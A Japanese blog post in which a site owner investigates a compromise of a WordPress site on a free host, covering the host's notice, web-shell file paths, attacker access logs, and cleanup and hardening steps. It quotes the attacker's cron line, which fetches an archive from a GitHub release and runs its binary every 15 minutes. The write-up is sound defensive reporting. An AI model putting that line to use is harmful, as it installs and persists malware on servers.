【シン・クラウド for Free】「お客様のサーバーアカウントにおける不正なアクセスの検知および制限の実施について」というメールが来たので調べた

無料で使えるシン・クラウド for Free、
無料でここまで使わせていただけるのもありがたいです。
しかしセキュリティについては自分で注意しないといけません。
有料のシン・レンタルサーバー にはWAF設定があるので
完全に安全ではなくても全然違うと思います。

WAFとは何か具体的に何をやっているのか見てみた!
私のブログはお名前.com レンタルサーバーを使っています。WAFが検知して防いだログが見れます。WAFについて調べたのでまとめました。内容に関しては私の勘違いもあると思うのでご了承ください。 WAFとはBingに聞いた Bingに聞いた文

ということで表題のメールが来たので、やったことを書いておきます。

メールの概要は、
サーバーに対する負荷が著しく高い状況で確認したら
不正なプロセスが多数稼働してたということでした。
▼稼働していた不正なプロセス./php
緊急措置として下記制限を実施したとのこと。

・ドメイン【cf193110.cloudfree.jp】において「WordPressセキュリティ設定」の全機能を有効化
 ▼マニュアル > WordPressセキュリティ設定
  https://www.xfree.ne.jp/manual/man_server_wpsecurity.php
・不審なcron設定の削除
・設置されていた不正プログラムファイルについて、
 パーミッションを「000」へ変更し、機能を無効化

[不正プログラムと思われるファイル一覧]
/home/cf193110/cf193110.cloudfree.jp/public_html/wp/wp-admin/includes/index.php
/home/cf193110/cf193110.cloudfree.jp/public_html/wp/wp-content/uploads/2023/11/byp.php
/home/cf193110/.php

シン・クラウド for Freeを使ってみた!
2023/10/3「XFREE」が「シン・クラウド for Free」のリリースに伴い、新規受付を終了しました。新規受付を終了なので今まで作ったものは残っていそうです。取り合えずシン・クラウド for Freeを使ってみました。ドメインを取

アクセスログが見れるようになりました。

対策

「[2] 検出されているすべてのファイルの完全削除 または、該当ドメイン名を「初期化」してください。」という指示なので
・以下を削除
[不正プログラムと思われるファイル一覧]
/home/cf193110/cf193110.cloudfree.jp/public_html/wp/wp-admin/includes/index.php
/home/cf193110/cf193110.cloudfree.jp/public_html/wp/wp-content/uploads/2023/11/byp.php
/home/cf193110/.php(パーミッション000→300書き込み、と実行をONにすると消せます)

・該当ドメイン名を「初期化」してWorldPress再インストール
「サーバーパネル」→「ドメイン設定」→該当ドメインの「初期化」→Wordpress簡単インストール→新規インストール→作成済みのデータベースを利用する→データベース選択→データベースユーザー名など設定→インストール

・「WordPressセキュリティ設定」の全機能を有効化
「国外IPアドレスからの投稿」以外はON

・シン・アカウントのパスワード変更

・追加したFTPアカウントのパスワード変更

・(指示されていないけど念のため)「設定」>「ディスカッション」→「新しい投稿へのコメントを許可する」オプションをオフ→変更を保存。これで、今後作成されるすべての投稿でコメントが無効になります。

・以下の設定を行った。(以下メール抜粋)
推奨される設定について
お客様のウェブサイトにてPHPプログラムをご利用の場合、
サーバーパネルの「php.ini設定」にて
「allow_url_fopen」および「allow_url_include」をいずれも
「無効(Off)」にすることを強くお勧めいたします。

◇マニュアル:php.ini設定
 https://www.xfree.ne.jp/manual/man_server_phpini_edit.php

※上記設定項目は「外部ファイルを読み込む/実行する」操作に対する可否設定です。

 ご利用のプログラムにより、上記それぞれの設定を「On」にする
 必要がある場合もございますが、外部からのデータ読み込み等が必要ない場合、
 これら設定は無効にしたうえでプログラムをご運用ください。

下の記事を見ると「allow_url_fopen」がoffでもテーマCocoonでは動くようです。
同じ環境なのでオフにしてもWorldPressには影響なさそうです。
https://wp-cocoon.com/community/blog-manages/%E3%80%8Callow_url_fopen%E3%80%8D%E3%81%AE%E8%A8%AD%E5%AE%9A%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6/
プラグインを新たに入れて動かない場合などは、
この設定を変えたことで動かないのかもしれないのでOFFにしたことは覚えておきましょう。
目次へ

サポートにて実施したセキュリティ調査について

メールで来た調査結果を詳しく検証してみます。

不信なアクセス

下のログを見るとユーザーがコメント以外でPOSTするような記事はないのにPOSTされている。
しかもwp-adminは管理画面に入ってからPOSTするところで
自分がやったログを見ると、よくwp-adminに対してPOSTしているログが残っている。
つまりWordPressにログインされたっぽい。
また、すでに削除していただいているがbyp.phpあてに何かをPOSTしているのが問題のようです。
byp.phpは今削除しても動いているので不要なphpファイルのはずです。
いつも同じファイル名とは限らないが
WorldPressで何が必要なphpファイルなのかを主要な部分だけでも把握する必要があるかも。

Postで来るログは怪しんだ方がいい。

[不審なアクセスログの一部](ユーザーエージェントは見づらいので削除してます。)
------------------------------------------------------------
cf193110.cloudfree.jp 194.195.89.245 - - [17/Nov/2023:02:14:55 +0900] "POST /wp/wp-admin/includes/?DrSQL=upload HTTP/1.1" 200 128 "https://cf193110.cloudfree.jp/wp/wp-admin/includes/?DrSQL=upload" 
cf193110.cloudfree.jp 194.195.89.245 - - [17/Nov/2023:02:15:02 +0900] "POST /wp/wp-admin/includes/byp.php?x=cmd&d=/home/cf193110/cf193110.cloudfree.jp/public_html/wp/wp-admin/includes HTTP/1.1" 200 5579 "https://cf193110.cloudfree.jp/wp/wp-admin/includes/byp.php" 
cf193110.cloudfree.jp 194.195.89.245 - - [17/Nov/2023:02:15:06 +0900] "POST /wp/wp-admin/includes/byp.php?x=cmd&d=/home/cf193110/cf193110.cloudfree.jp/public_html/wp/wp-admin/includes HTTP/1.1" 200 3980 "https://cf193110.cloudfree.jp/wp/wp-admin/includes/byp.php?x=cmd&d=/home/cf193110/cf193110.cloudfree.jp/public_html/wp/wp-admin/includes" 
cf193110.cloudfree.jp 194.195.89.245 - - [17/Nov/2023:02:15:11 +0900] "POST /wp/wp-admin/includes/byp.php?x=cmd&d=/home/cf193110/cf193110.cloudfree.jp/public_html/wp/wp-admin/includes HTTP/1.1" 200 3980 "https://cf193110.cloudfree.jp/wp/wp-admin/includes/byp.php?x=cmd&d=/home/cf193110/cf193110.cloudfree.jp/public_html/wp/wp-admin/includes" 

一応、私が作ったPythonのプログラムの追加作業や運用中にやられ可能性もあると思う。
目次へ

Cronが設定されている

Cronとは、(Bingに聞いた)UNIX系のオペレーティングシステムで使われるプログラムの一種です。Cronは、指定した時間や間隔でコマンドやスクリプトを自動的に実行することができます。例えば、毎日夜中にバックアップを取る、毎週月曜日にメールを送る、などの作業をCronに任せることができます。Cronは、crontabというファイルに実行したいコマンドやスクリプトとその実行時刻や間隔を記述することで動作します。

*/15 * * * *により15分ごとに怪しいコードが実行されるように設定されていた。
cron設定
(メールに書いてあった既に削除されたコード)
*/15 * * * * if ! pgrep -a php | grep '\./php'; then mkdir -p /tmp/.php && cd /tmp/.php && curl -LO https://github.com/vacSQL/XM/releases/download/v1/php.tar.gz && tar -xf php.tar.gz && nohup ./php & fi

コードをBingに聞いた答え
if ! pgrep -a php | grep '\./php'; は、PHPが実行されていない場合に、PHPをダウンロードして実行するコマンドです1。pgrep は、プロセスIDを検索するためのコマンドであり、-a オプションは、プロセス名も表示するように指定します1。grep は、指定された文字列を検索するためのコマンドであり、\./php は、現在のディレクトリにある php ファイルを指定するための正規表現です1。

then mkdir -p /tmp/.php && cd /tmp/.php && curl -LO https://github.com/vacSQL/XM/releases/download/v1/php.tar.gz && tar -xf php.tar.gz && nohup ./php & fi は、PHPが実行されていない場合に、PHPをダウンロードして実行するコマンドです1。mkdir -p /tmp/.php は、/tmp/.php ディレクトリを作成するコマンドです1。cd /tmp/.php は、/tmp/.php ディレクトリに移動するコマンドです1。curl -LO https://github.com/vacSQL/XM/releases/download/v1/php.tar.gz は、https://github.com/vacSQL/XM/releases/download/v1/php.tar.gz から php.tar.gz をダウンロードするコマンドです1。tar -xf php.tar.gz は、php.tar.gz を解凍するコマンドです1。nohup ./php & は、php をバックグラウンドで実行するコマンドです

パスワードが漏れたら、ログインして新規Cron設定で簡単にかけてしまう。
(実際にこれだけで動くのかどうかは分からないですが)
となるとパスワード漏れの可能性もあるかも。パスワード漏れ以外で、Cron設定ってできるのだろうか?
念のためCron設定が変更されたらすぐ分かるように以下設定した。
サーバーパネル→サーバー→Cron設定→Cron結果の通知アドレスを設定した。
cron設定はcrontabというファイルに書くらしい。
その内容が、ここで全部見れるか、
同じようなことが起こってメールが来るかは分からない。
目次へ

原因考察

Python

メールでは「お客様のサーバーアカウントにおいては不審なFTPアクセスが見られないことから、
消去法的なご案内となりますが、プログラム(WordPress等)の管理パスワードが流出しプログラムを悪用されたか、お客様が運用中のプログラムの脆弱性を悪用されてしまった可能性が高いものと思われます。」ということでした。
WorldPress経由の可能性もありますが、別の可能性として考えました。
「運用中のプログラムの脆弱性」で心当たりがあることを書いておきます。
以下の記事でpythonファイルを実行できるようにした。

その際pythonファイルのあるディレクトリのパーミッション設定で
「その他」のパーミッションをすべてONにした。実行もONにしないと中のファイルの読み込みができなかったため。
パーミッションについては、こちらが参考になりました。

LinuxのパーミッションとWebサーバの挙動を確認してみた - Qiita
#パーミッションとはLinuxのディレクトリとファイルに設定する。「誰に」「どのような操作」を許可するかを設定。#誰に#どのような操作###パーミッションの種類パーミッションの種類には、…

またこちらの別サーバーにデプロイしたプログラムでFTPによるアップロード処理を入れた。
コード内にFTPパスワード等入れていたので、それが漏れたか?(githubにはプライベートでプッシュしたが)

Djangoでデータベースを使わず掲示板を作ってみた!【Render+シン・クラウド for Free】
Djangoが使えるRenderの無料だとPostgreSQL(数か月は使える)やMySQLのデータベースが使えない。さらにファイルに保存するデータベースsqlite3は使えるが保存ができない。(スリープ状態になるとデフォルトのdb.sql

しかし、そのFTP設定でアクセスできるディレクトリは下層のほうに制限している。
仮に誰かがアップロードできたとしても上の階層まで操作することは可能なのか?
FTP以外にもアップロード方法があるのか?
原因はハッキリしないが、
自分で作ったPythonプログラムはセキュリティ対策をほとんど検討してないので穴はありそうです。
目次へ

php

allow_url_fopenをOFFにするご指示や下の記事を参考にすると、
phpを使ったよくある攻撃が原因かもしれない。 

ワードプレスのサーバーでallow_url_fopenをoffにするのはセキュリティー向上に意味がある? – ワードプレスの移行・修正・カスタマイズ・復旧のご依頼はWordpress Doctorへ | Blog
ワードプレスのサーバーでallow_url_fopenをoffにするのはセキュリティー向上に意味がある? 最近ワードプレスドクターにallow_url_fopenに関しましてご質問をいただきました。セキュリティー上allow_url_fop...

ファイルマネージャーでドメインの下にあるlogを見れば、
アクセスログが見れるのかと思ったけど空っぽでした。
(今はサーバーパネルでアクセスログが見れるようになっている。)
取り合えず目視で今回ファイルを追加されたところで、
また追加されていないか確認するのと
Cronが追加されていないかチェックかな。

所感

原因は特定できなかったが、ご指示いただいた処置はした。
セキュリティが不安な私が作ったプログラムは当分、動かさないようにしていたが
どうもWordPressのほうがくさいので動かすことにした。
今、使っている無料のシン・クラウド for Freeは多分WAFがないか限定的。
有料のシン・レンタルサーバー にはWAF設定があるので
完全に安全ではなくてもかなり違うと思います。
セキュリティについて学習するため、
メインのブログのサーバー(お名前ドットコム)で
WAFがどんな機能なのかを実地確認して記事にしました。

WAFとは何か具体的に何をやっているのか見てみた!
私のブログはお名前.com レンタルサーバーを使っています。WAFが検知して防いだログが見れます。WAFについて調べたのでまとめました。内容に関しては私の勘違いもあると思うのでご了承ください。 WAFとはBingに聞いた Bingに聞いた文

シン・クラウド for Freeでアクセスログが見れるようになりました。

目次へ
イチゲをOFUSEで応援する(御質問でもOKです)Vプリカでのお支払いがおすすめです。
MENTAやってます(ichige)

タイトルとURLをコピーしました